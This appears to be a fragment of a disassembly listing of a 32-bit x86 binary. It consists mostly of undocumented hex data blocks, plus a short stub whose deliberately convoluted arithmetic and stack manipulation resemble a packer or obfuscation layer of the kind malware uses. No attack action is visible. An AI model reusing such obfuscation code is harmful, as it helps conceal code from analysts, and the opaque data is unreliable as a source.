0CB79E753h, 5B427610h, 0CDA5B6h dd 115E0000h, 22C9EE2h, 733D93D5h, 268F00CDh, 0AD750FD7h dd 13DC3A07h, 400DB380h, 6A9966CFh, 0DB4F24F9h, 6E12418Eh dd 0C3DB4F1Ch, 0E5AD0B5Ah, 664333Fh, 5ACB983Eh, 31B0F226h dd 0CF1EC50Ch, 0BE03A971h, 39049760h, 0EC5D2A93h, 0DA29CF96h dd 0C1AB2A05h, 7DA24D7Ch, 66FD137h, 0F59B63C1h, 31FF81B0h dd 0C932D501h, 0CC09667Ah, 542C5BA0h, 0DDCAF1E5h, 8D12F74h dd 0AD765662h, 0DBA84E1Ah, 36E9016Ah, 9E987C5Fh, 833ABC9h dd 0D3990000h, 7641212Dh, 1AE4C4D0h, 0BB886874h, 60290915h dd 4ACAEBAh, 0D8E48A53h, 7F8B31F8h, 212DD39Fh, 0C7D37941h dd 4C346330h, 0E5D4FE81h, 0AC759ADAh, 521AFA06h, 20DFA1D0h dd 0E952DB4Fh, 752A7480h, 0ED3A07ADh, 210F71A0h, 0B922DB4Fh dd 9E440C6Ah, 789E1D59h, 3E7F0CC5h, 4578DBEFh, 19BF86E4h dd 0BBE6EFCAh, 0D0D68C6Dh, 0DC824D22h, 0CC359E0Fh, 0DB075887h dd 81EAD137h, 31A1039h, 0F6DFD367h, 19023176h, 0D8CC2226h dd 0EC7A26Fh, 0E3EA195Eh, 6EC5D984h, 9862C005h, 65B425F2h dd 0A26DCB18h, 874FADFCh, 35DBA705h, 0B0D0F768h, 81C99B98h dd 0C6AAF18h, 5DCE9B41h, 9897E918h, 319AC99Bh, 26EECEE2h dd 74AF6880h, 3E138552h, 76020h, 0A66C00h, 0A34914F4h dd 47EDB797h, 0E88E5B3Bh, 8D33FCDCh, 28697F81h, 0CDADB95Fh dd 74546006h, 16F602A8h, 59CA84Eh, 81770938h, 0AFBAD4FEh dd 1AAD756Fh, 713EA74Dh, 0E82D3F96h, 0CE743D9Bh, 4AE7507Fh dd 63AD138h, 634485DBh, 3642ABAFh, 2B70FCD9h, 0EEC631FCh dd 3B0866CAh, 0A734695h, 0F99F67C5h, 0E68C56B4h, 3463A819h dd 0CEB08E4Ch, 192D7CE5h, 0FECB7139h, 75BAB223h, 9E299046h dd 0A3E851C4h, 0A6DA0956h, 8BC85FF3h, 0AD75D322h, 531BFB07h dd 0D005E0ADh, 0F3EF91C0h, 0D942C85Fh, 91DE2B70h, 5FF41E62h dd 80DF13C8h, 0B748A3BBh, 0DF0E5DC6h, 0BE486DA8h, 75183099h dd 0B98DDD07h, 69BC6E4h, 6B310000h, 0ED9B9C5h, 0B27C5C68h dd 5320000Ch, 0F8C1A1ADh, 0AC444652h, 707C22EBh, 1723C990h dd 0B9C56B37h, 5F6B11D9h, 0B4CCFBC8h, 7DD4FE80h, 0DDF83272h dd 0C31B4A8Fh, 2ED13CBBh, 5A2280C5h, 0C8A8B4h, 23B28D5Ah dd 0DBA60449h, 6A99E635h, 0CAE7B0CDh, 4ED3EB54h, 6A987C38h dd 63B7795h, 0CB910000h, 6E391925h, 12DCBCC8h, 0B380606Ch dd 5821010Dh, 0CA4A6B2h, 0D0DC824Bh, 778329F0h, 1925CB97h dd 0BFCB7139h, 542C5B28h, 0DDD4FE7Fh, 0DDF892D2h, 121B4A8Fh dd 0FFD13CBDh, 2BF35196h, 0D1997985h dd 0A954134Fh, 0ED6861EFh, 0FEF8BAC6h, 0A50E77D4h, 0A7D8FDD8h dd 0F66734DAh, 20EA488Dh, 0ED3CAD7Ah, 946571A0h, 137CCAECh dd 2A870CEh, 0A84E16F6h, 97D500DBh, 82642352h, 74DDC497h dd 0C1ADD5Ch, 0F614E986h, 5B1h, 0A3AF551Bh, 4652F8C3h dd 0EAF69C66h, 8B973D0Ah, 303CE2ABh, 0CD5BA2Eh, 0B37A5A66h dd 5521010Dh, 0FBC3A3AFh, 0E5B24955h, 0FE7FCAB6h, 1C5C67D4h dd 36B74A86h, 0A696A8A8h, 9E31F957h, 80C52ED4h, 61B05622h dd 0C0662E8Ch, 0DADB3F7Bh, 0E8F37B44h, 0E3176A17h, 72C1244Dh dd 98D4015Eh, 0DAA72453h, 41AAD137h, 0A22F4574h, 0E351D501h dd 40EC7661h, 720BB65Bh, 49000000h, 0BA602886h, 0E9487CEDh dd 0C16D564Fh, 3E9772C1h, 3E9CE92Eh, 9304D177h, 316E1544h dd 7DD3D137h, 5FA40DB3h, 0C7943A01h, 91FAA069h, 363E6D42h dd 60D50131h, 8F350295h, 1BE851C2h, 824FF5BDh, 0E7B45A24h dd 34309676h, 60E452BEh, 61B5528Eh, 6C39DFACh, 4106C7FBh dd 0F78FF544h, 24B65B07h, 0D5h, 9539A1DDh, 0BC2732E6h dd 0A7F69C66h, 7AD75DFh, 0C88FED3Ah, 0D0195522h, 86F16FE6h dd 0E74594FDh, 4DAB781Eh, 0B412DF85h, 0E78D59ECh, 14DB397Eh dd 5A0B1F6Eh, 0DB4F0609h, 0F3FFA56Dh, 0D8A54B13h, 89B8D8FDh dd 0DB4EFEF7h, 957E063Ah, 42C3C8E5h, 0FC2B70D9h, 0D13766A3h dd 7CD9E54Eh, 9FCE1359h, 0CAF1BB59h, 8026F04Eh, 0CEFD42B3h dd 0CEB14BB2h, 0F4C7167Fh, 0ACF9468Bh, 0B14C037Dh, 76C52ECEh dd 9DA94F18h, 364EF4BDh, 987C2935h, 42C6E4B9h, 8A000004h dd 32121EC4h, 0D5B5C167h, 7959650Bh, 1AFA06ACh, 9D9FAB51h dd 0D77D460Bh, 7E24EBCBh, 20C69272h, 0C66C3414h, 275623BAh dd 0D4FE7D59h, 758DCDD8h, 1AFA06ACh, 0D1A0AC52h, 0BEA3A195h dd 58A75283h, 834A8690h, 22A4FCFEh, 4C6C164Ah, 899E2F3h dd 75F7DEB9h, 0C820130h, 56BFD138h, 0D1A5A89h, 0F866D502h dd 56F1914Ch, 0B826B65Bh, 64000000h, 760A3986h, 0BBDB4F20h dd 0DDA50352h, 430C6A37h, 30FA589Dh, 37663B8Ah, 0DB4F242Ch dd 0A336FD5Bh, 0FBC831D7h, 15DD3B8Ah, 0BB83636Fh, 0E9B65C28h dd 6CCA0F78h, 0D7ACFBA1h, 4E93D9FCh, 384E801Fh, 0FC0871D1h dd 0F136369Fh, 1645C793h, 0D501EA6Ah, 0A6F55EC7h, 9FED2A59h dd 8BF4CAF2h, 791FE846h, 640AD634h, 0C3D72697h, 23C996F4h dd 3896E556h, 82B1C96Fh, 2A987D16h, 3533755h, 0B3790000h dd 5621010Dh, 0FAC4A4B0h, 9B684854h, 4009E9F5h, 648C8E9Ah dd 0B8C46A33h, 5F6B11D8h, 10DB37Fh, 0A7B35921h, 6C144310h dd 0C5D4FE7Ch, 0AC757ABAh, 521AFA06h, 7556A0ACh, 64C207ADh dd 0D1A6F59Bh, 0F905AB73h, 5F766596h, 3F7BC80Dh, 0FF986DA7h dd 71A0EF0Ch, 0D137C6EEh, 0BC622B89h, 5C2F7EEFh, 1A82ABF3h dd 0CFB0B3F0h, 0C3216606h, 188956FCh, 8E4D7CC9h, 6326B52Eh dd 83522DFAh, 5875A4E9h, 7F206C4Dh, 617D0332h, 4BB4242Eh dd 7BC029FCh, 0DDAA501Dh, 72D01D6Ch, 29F804AAh, 7A46C5EDh dd 75C4772Ah, 0F2BC4F17h, 89F2985Fh, 0CB4B0820h, 0A27723C1h dd 29884h, 0C86E3400h, 6B11DCBCh, 0FB57F5Fh, 0B0562303h dd 55FBC4A4h, 0F0A14749h, 95758127h, 3C1C28CEh, 0DEBECA70h dd 0CD647016h, 7CAFD100h, 7782D4FEh, 7AD7537h, 0F6765F3Ah dd 51B982B1h, 0F78D138h, 0BD63403h, 0FE351665h, 71B6B61Fh dd 0EB181D42h, 266BD4CAh, 0CAD6AAD9h, 0F25BCEB4h, 4E2A53A3h dd 0CB936439h, 0EE1D620Ah, 80F682Dh, 0B8165BC4h, 407C49EFh dd 245A7BE5h, 4E9D06F6h, 35379E79h, 70CC1F0h, 0DC4501C7h dd 0CB713997h, 7117DFBFh, 27FAF659h, 0CBE9BE41h, 1FDh dd 576309CFh, 0FA06AC77h, 9EAA501Ah, 3F4BF1BEh, 0E4F0965Fh dd 0C089CEE2h, 672E0E1Ah, 9D5B5C1h, 0AF775763h, 9966FD09h dd 0FE7C166Ah, 0D0101BD4h, 0C207AD75h, 9D81A686h, 8B5784CAh dd 582D7CE5h, 0CF14587Dh, 382C47A0h, 4551BAD1h, 0ACBA8E2h dd 71EE1D62h, 80CAEB2Bh, 2A88CF17h, 0F087BB61h, 0AF6D7355h dd 0DD033281h, 9A75A734h, 77CD733Ch, 0E0BB0AB0h, 33277F5h dd 0BAA6718h, 0DE2B70D9h, 744FD1AFh, 0A8F7600Fh, 8FDDF8D3h dd 0B2CEFD4Ah, 7F0F744Fh, 4F750B3Ah, 53BC0F74h, 74C0B6EAh dd 94F6969Fh, 4C9F845h, 0D30561E7h, 0AA714A86h, 3D87B1F2h dd 241A6A16h, 0F5EC709h, 8A1DE63Ch, 6AAF18BEh, 241A453Bh dd 1A83EC09h, 275988D5h, 7F09241Bh, 0D8410CB2h, 0C413B982h dd 0AB511977h, 3A94D09Fh, 0E3684520h, 2DF553A2h, 3E266F87h dd 0F5CA46CAh, 104D7h, 5C02C800h, 0FFA57050h, 0A34913F3h dd 44EAB797h, 0E98F5838h, 84D5DBDDh, 290915BBh, 0D0B0BC62h dd 72525E04h, 61F804AAh, 7B1B6594h, 0B16D4FEh, 0DB3986CBh dd 3E42690Fh, 68DB4F20h, 0B829F69Ch, 0D73584EDh, 47EE9E0Fh dd 0E32B5584h, 9D06DB4Eh, 99D79169h, 4D886330h, 408DDA1Fh dd 4C27D704h, 0DD04A646h, 0DB4E36A3h, 0C4913703h, 0D01F8853h dd 374EBEA1h, 0BECA33D1h, 452D7461h, 714FFAEBh, 54750F30h dd 0E952CCFCh, 0A4B2DFB5h, 0C83101B9h, 11E15483h, 68C6CAEEh dd 0BD2EFBA1h, 65329B6Eh, 8EBD3F07h, 0CEAFD9F2h, 616DD63Fh dd 0F48B981h, 10E51449h, 0E00FDC45h, 1A705CA3h, 34D78DFBh dd 0DABAC66Ch, 419F6C12h, 2B89CE74h, 7AEBB85Eh, 7035562Bh dd 9739CC34h, 0F241E8EDh, 632BDE86h, 75D03D0h, 5BCC993Fh dd 0CA17E6F2h, 6F5BE59Bh, 94E34CBAh, 83C86E36h, 67B65C25h dd 37492h, 542A0000h, 9AF758Ch, 7016DE3Ch, 0D37945A3h dd 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah, 0CE743E9Ch dd 32D8A301h db 65h, 0E8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 5B707E68h xor ebx, 1A1A6F3Ah inc ebx neg ebx sub ebx, 67D932C8h add ebx, 0A943441Fh add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] pop esp push 4581h mov [esp], ecx sub esp, 4 mov [esp], esi push 6509BB6h mov ecx, [esp] add esp, 4 push esp mov esi, [esp] add esp, 4 push ecx push edi mov edi, 57866E2Dh add [esp+4], edi pop edi pop dword ptr [esi+8] sub dword ptr [esi+8], 57866E2Dh push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop ecx add esp, 4 jmp loc_546EAD ; --------------------------------------------------------------------------- dd 0DC1A8CC2h, 89407533h, 7CB8C847h, 30650A7h, 4AE0FFC5h dd 7E00D33Bh, 0EC52FCA9h, 0D28CE1Fh, 3B31F870h, 0D87C457Bh dd 48050CD2h, 26474389h, 0FC18A237h, 9340ED17h, 3F61E73Eh dd 770A302Dh, 9D1C24E1h, 0BB37FFA3h, 0F974244Bh, 6306BE73h dd 570E92E7h, 0E97EE1D5h, 75h, 0D88C6660h, 840F04A8h, 35h dd 0B5FF016Ah, 64D1431h, 75D7858Dh, 0D0FF0650h, 1FC18589h dd 0FE8B064Dh, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h dd 95FF0001h, 64D1FC1h, 32E9h, 0E585C600h, 56064D26h, 0C530DF68h dd 29B5FFA9h, 8D064D0Bh, 5075D785h, 89D0FF06h, 4D2F6D85h dd 0E5858D06h, 50064D2Eh, 56A206Ah, 6D95FF56h, 61064D2Fh dd 6E0C1C3h, 9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah, 0D2D41CA4h dd 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h, 0E62AC7DDh dd 0DF1BCE17h, 0A6DB6734h, 46A2F200h, 0A3EA1A00h, 0D5h dd 0C9199C00h, 470000FEh, 0FBFEh, 0E6412800h, 727DD427h dd 0E1CE9C3h, 0E9600000h, 5, 0F7A73BE2h, 0BD836162h, 64D1281h dd 5C850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0E913C351h, 8B3C6F4Dh dd 4D148D8Dh, 0B302B906h, 0B815AAh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 7431C350h, 427F89A8h, 4C2F7B2h, 0E19D0100h, 8B064D1Ah dd 8D0150C0h, 64D0A61h, 0D9BD835Ah, 64D1Bh, 0BD830975h dd 64D0011h, 50137400h, 0B8C08B53h, 4D0h, 0B4E99D8Dh, 0D3FF064Fh dd 0BD83585Bh, 64D0011h, 50117400h, 4D0B853h, 9D8D0000h dd 64FB436h, 585BD3FFh, 26859D2Bh, 0BD01064Dh, 64D1F9Dh dd 8D8BC08Bh, 64D1AB1h, 0A90F858Dh, 6A0650h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 509F9DC3h dd 0CE8B6660h, 8961FE8Ah, 0EE92404h, 0FF000000h, 786B8773h dd 3E5D48F5h, 4F75B0A5h, 0CC858D63h, 600650A8h, 7299589h dd 61F5064Dh, 50525090h, 5ABA6652h, 0E9310F88h, 9, 0F6F5E6BCh dd 9E440AB6h, 0F585A51h, 0DCBF6631h, 50585A36h, 6A90E3B3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0C03BC351h, 28939761h, 0FFDABF0Fh, 4D240D95h dd 0B5895206h, 64D242Dh, 24448B5Ah, 0BE904h, 0BDC70000h dd 64C65EB8h, 0EA03719Eh, 0F78589D9h, 890650A8h, 4D31A9B5h dd 38A0F06h, 53000000h, 448B5AF9h, 6A0824h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0D84B63C3h dd 64DFD878h, 0FEFEA21h, 28Dh, 89F98B00h, 50A90B85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8A512465h, 0BD835AF3h, 64D269Dh, 0F850F00h, 89000001h dd 4D29B1B5h, 0C637B106h, 4D26E585h, 6A4706h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0B2C91DC3h dd 0CE860h, 1DD40000h, 0B9BCEDF9h, 3605FA95h, 12E84448h dd 0BC000000h, 5ED17D79h, 5558F73Dh, 32C604EBh, 35C98645h dd 0E95959B5h, 12h, 4DCE8AB3h, 6A68400Eh, 5C0F3021h, 29BDBEE4h dd 6861CD9Dh, 0AC48BC90h, 42243481h, 6A78D21Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 4D86C353h, 5A5683D6h, 8B668785h, 0EC180D8h, 0B29B5FFh dd 6A064Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 49BA29C3h, 75D7858Dh, 92B90650h, 0FF7698A5h dd 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 69491559h, 2FE18D23h, 860F064Dh, 3, 89CFB70Fh dd 4D269D85h, 0A3AFBA06h, 0BD833EAEh, 64D10CDh, 2850F00h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 6F6C353h, 9622F376h, 85C6D1E2h dd 64D26E5h, 56006A47h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 37AFE646h, 14E910A4h, 95000000h dd 316951D0h, 659FCEECh, 0CB82BFEh, 0D1840DEh, 0E92B530Fh dd 14h, 7325F5DFh, 0FB35EFC5h, 43DC0ABEh, 0D858443Ch, 906470BFh dd 4E8h, 0FB5E200h, 76B1508Ah, 424448Bh, 28E0Fh, 0C9B30000h dd 0F60008Bh, 128Fh, 0DE900h, 10060000h, 68A1506Eh, 7BCE50B5h dd 6601AC6Bh, 8961D78Bh, 8B042444h, 0BA6658D9h, 0B5FFFAC8h dd 64D0B29h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0CFC35141h, 7F2C02B2h, 331958Bh, 858D064Dh, 65075D7h dd 0FFCF8B66h, 0F58589D0h, 89064D2Ah, 4D10CD85h, 8DBD8306h dd 64D21h, 0BD850Fh, 0F3B10000h, 26E585C6h, 6A56064Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0A54EC350h, 0F1E63768h, 81EDB297h, 87022404h dd 6A3C2Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0E85901C3h, 0Bh, 0A09A9B94h, 0CF61081Ah dd 898F054Dh, 4D2DC59Dh, 0B5FF5B06h, 64D0B29h, 148D8D8Bh dd 858D064Dh, 65075D7h, 0D0FF6AB3h, 24758D31h, 8960064Dh dd 4D25799Dh, 29BD8906h, 61064D11h, 218D8589h, 6A064Dh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0FDEE29C3h, 0B5B92A32h, 0C660D0E6h, 4D26E585h, 6A6C06h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 30C3F1C3h, 0A4F8D291h, 105D8529h, 2668064Dh, 8B80EBDAh dd 240481D7h, 5A19965Dh, 2800Fh, 0DA8A0000h, 1431B5FFh dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0E8B8B2C3h, 0Ch, 14D9EECDh, 8543E2Ah, 0E7FE09EBh dd 6FDAE181h, 0E8590C0Dh, 0Dh, 0F7B75156h, 3A0662F2h, 0E15F99C2h dd 0F98B66C6h, 0F1958959h, 8D064D10h, 4D390685h, 0FBBF0F06h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0A501E5C3h, 0B60AAC9h, 4D11F9BDh, 0FB858906h dd 6A0650A8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0ECADC351h, 6C88C62Ah, 46AB6A5h dd 68CCF380h, 0AC102AA9h, 0B9665250h, 310FE308h, 11E9h dd 0C7AFF600h, 0F97410CCh, 96BB9436h, 6501A5C9h, 585AAD20h dd 57240481h, 8153EFE5h, 0AC45A7F1h, 0C016BF2Eh, 7A682506h dd 66FCF6A7h, 481D38Bh, 0A588624h, 57006A03h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 3726E5C4h dd 0D680C665h, 1006A55h, 4D067D9Dh, 9D95FF06h, 6A064D03h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 9858C351h, 0B334AA7h, 9FDA80A3h, 0A9078589h dd 0FFBF0650h, 6A7CC1C1h, 0CE38000h, 4777F668h, 0EE9F1h dd 512A0000h, 0E0BA5623h, 0A4109C62h, 0D28DA20Bh, 0A240481h dd 0F0EB988h, 68Eh, 35B50100h, 90064D28h, 0FF6B966h, 11E850h dd 0EA200000h, 51A88CF8h, 0B0EB8191h dd 11CCF69Bh, 669A49C4h, 5B0F4DBFh, 6ADE8A90h, 5EDABA0Bh dd 858D7A1Fh, 650A8D4h, 64BF6657h, 8B905A82h, 13E950D7h dd 0B0000000h, 0A2848D94h, 3138EC0h, 14F8A24Ch, 7BCAE13Bh dd 6A90AC17h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 865FC351h, 68F0F83h, 89000000h dd 4D28C99Dh, 9D95FF06h, 8B064D26h, 4D15FD8Dh, 0DEB58D06h dd 6A0650A8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0FA3AC355h, 51319454h, 66250ED8h dd 5050CB8Bh, 9E8h, 3BD8D400h, 550573E5h, 5A523396h, 34895959h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0C4690AADh, 0B6E83361h, 0FE9h, 85C14B00h dd 47EC78FCh, 0B3A19DF5h, 55F49B7Eh, 840Fh, 56500000h dd 61605250h, 76BF310Fh, 5A245B40h, 4895A58h, 459D0124h dd 0FF064D32h, 4D10CD95h, 13850F06h, 0F000000h, 0D84h dd 8E900h, 0B3B00000h, 986F29DFh, 0D0FFCE34h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 79C35545h, 52DBE427h dd 9634E09Ch, 8BCF8B66h, 50A907B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0FF85C75Eh dd 650A8h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8B26C357h, 207E80D7h, 0F8840F00h dd 0F5000002h, 51006A60h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0F66F496h, 468DDBBFh dd 50006A20h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 4479D5EFh, 820F5D47h, 6, 10C99501h, 8589064Dh dd 650A903h, 0F0F3B966h, 0DE9h, 0F4CF8100h, 407E82B3h dd 22F59D8Bh, 3880064Dh, 0F0850F00h, 6AFFFFFFh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 2A53C351h, 0D78C9503h, 9BCA803Dh, 147DB589h, 53E9064Dh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0FC93C353h, 9D896FCEh, 64D03E5h dd 53006A48h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 89E25E7Ch, 0CDD92991h, 0CDBD2990h, 80064D17h dd 3880E4E1h, 73840F5Ch, 0F000000h, 686h, 35B58900h, 80064D14h dd 840F2F38h, 5Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0C35545h, 0DC9958Bh, 853B064Dh, 650A903h dd 0FF86830Fh, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 6F1B2DC3h, 6E4A787Ah, 8D8B2FAAh dd 64D06DDh, 0C619D29h, 8140064Dh, 0DF60CBEBh, 0BBD8328h dd 650A9h, 94840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 8B0F00C3h, 3, 90A4E780h dd 0BE95250h, 65000000h, 7C5A27BFh, 99E57994h, 310F0838h dd 9050585Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 90C35747h, 0B85031Eh, 6A0650A9h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 66E7C355h dd 50588C88h, 0C6E36Bh, 2D9D8B00h, 58064D0Bh, 551B589h dd 0BF50064Dh, 55AA1202h, 6A240489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DBE6C353h dd 88C580E4h, 0A8F7B5FFh, 6A0650h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 95FFCAC3h, 650A8FBh dd 0B5D28166h, 0FC00B5Ch, 3285h, 958B6000h, 64D3069h, 2C398D8Bh dd 161064Dh, 4D2D3DBDh, 0BD236106h, 64D0B9Dh, 0A8FF85C7h dd 10650h, 958B0000h, 64D2BA5h, 4AE9h, 6128B100h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C2C35747h, 0B78FFA97h dd 0C681C3B6h, 11Ch, 0E9CE8B66h, 0FFFFFD15h, 0A18D0B60h dd 51064D1Fh, 7E8h, 1FAEC000h, 0F660B734h, 0E8615B5Fh dd 4, 8000h, 4F1BBF60h, 0BB664461h, 5061B046h, 8BD78B66h dd 0E8042444h, 13h, 7D86B150h, 3149CD88h, 1B335ACCh, 5AE75925h dd 8B41FCBCh, 8B5BF8h, 4244489h, 0C850Fh, 7E90000h, 4B000000h dd 0F5ED6889h, 8B58FFABh, 4D302995h, 6A006A06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 205EC353h, 790EE4ACh, 0E9103C8Fh, 7, 8C5E3ED4h, 0FFF1BD56h dd 50A907B5h, 0B9BD0906h, 0F9064D1Eh, 218D95FFh, 6E8064Dh dd 0D5000000h, 1C3671BBh, 2BF78175h, 5F4A905Ah, 0A8FF858Bh dd 6A0650h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 63A16DC3h, 0B96652FFh, 505A2EB1h, 56E41EBAh dd 2404892Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 7DC35040h, 5C69F25Ch, 858D163Eh, 650A90Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 36C35343h, 311FD1CCh dd 8B5AABCAh, 4D29E5BDh, 0E4F18106h, 905954DCh, 0AC1C11B9h dd 2AB35028h, 6D950990h, 0F064D23h, 685h, 0BDBD8B00h, 8D064D14h dd 50A8CC85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 3E344886h, 12157BEh, 4D273D85h, 8E28106h dd 503A0FDDh, 0FAC51DBAh, 2404896Fh, 31858956h, 59064D31h dd 23D99D89h, 95FF064Dh, 64D2CA5h, 27619589h, 0C08B064Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A2C35646h dd 0AE27D34Ch, 0B2E11394h, 66D6BF0Fh, 830D31BAh, 4D1BD9BDh dd 9750006h, 11BD83h, 7400064Dh, 8B535013h, 4D0B8C0h, 9D8D0000h dd 64FB550h, 585BD3FFh, 11BD83h, 7400064Dh, 0B8535011h dd 4D0h, 0B44F9D8Dh, 0D3FF064Fh, 6A585Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 233153C3h dd 4D2F219Dh, 8BF9F506h, 958D29C0h, 58064D2Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 94C35646h, 3CD3131Eh dd 0F86B84F4h, 6A0008C2h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 46E9C352h, 0F72CDADEh dd 860F6051h, 3, 8BF78B66h, 4D06818Dh, 0C08B6106h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 2EC35242h, 0A109449Bh dd 98B052E7h, 28858D8Fh, 6A0650A9h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8956C357h dd 4D0D9585h, 39EB06h, 0CC00C000h, 0E400C002h, 0C002h dd 0DC000000h, 136C4D08h, 435D5404h, 6209450Ch, 0E7644E08h dd 2965444Fh, 0E65D6E61h, 1F096C2Dh, 0CD796F15h, 2661740Fh dd 2A6D4104h, 50842101h, 10F6D7Ah, 15094AA1h, 0A2092389h dd 92510061h, 8C4DA939h, 704DA165h, 2A093765h, 0D6596061h dd 0DEB42B54h, 5ED09DE2h, 0D709262Ch, 40B4A368h dd 0A80F6D61h, 7593915h, 93B1E0EAh, 9C092065h, 0C72C55E4h dd 5094AD67h, 5D0F6FD6h, 0D2517BB2h, 0E50931DCh, 437D2067h dd 93B17331h, 9C092065h, 0C72C55E4h, 4194AD67h, 5D0F6FD5h dd 3B517BB2h, 0ABE17061h, 74092061h, 0A351E339h, 940D0425h dd 9E0D0425h, 5092061h, 296BE331h, 1C0A2DECh, 0A6802F67h dd 0BD092061h, 2A092068h, 0E42A5AD1h, 8EB90EB9h, 2FC9AB94h dd 0A1E17261h, 71092061h, 2153E33Bh, 0D50D0435h, 3F0D0425h dd 57092061h, 3B64E333h, 6B00A5E8h, 27CF262Ch, 57440684h dd 8DC8A037h, 0B6447A09h, 0ED8240AEh, 9E6F7231h, 63382FB0h dd 45092075h, 0A0B6BAC9h, 172C2616h, 78FDD863h, 957FD447h dd 384304EBh, 9468783Bh, 7F010455h, 0C820732Bh, 0A44425B0h dd 38CF9E07h, 0A320959Eh, 0D100262Ch, 2C44004Ch, 60DEA5ECh dd 8DE02631h, 72092061h, 0CE6CE5C0h, 81F6CEB1h, 405E200Bh dd 54092062h, 75CA7F41h, 112D5CE8h, 8E2D64E0h, 4509207Ah dd 76CA7726h, 0FDB8F6DAh, 239C2606h, 3E0D4A90h, 29E17561h dd 35092061h, 354E33Ch, 0C40D040Dh, 0B50D0425h, 14092061h dd 75E3E334h, 50E1B508h, 2A092061h, 45092071h, 8A06C801h dd 0B53D2061h, 59F1AF14h, 0CC0DE72h, 5B5C154h, 0E6878A8h dd 3EE14031h, 1C092061h, 34E4B3ABh, 1CFCCB65h, 0F4BF4A76h dd 86A1C2D6h, 0A772C0C8h, 540920E1h, 0DB67E61h, 742EA728h dd 8E2D64EAh, 4582EEEAh, 0A2092C88h, 4CC31B61h, 0AFB273BEh dd 0EC18354h, 0E4DA926h, 0C6339965h, 85510967h, 450926E1h dd 4FBCAB61h, 390F6D76h, 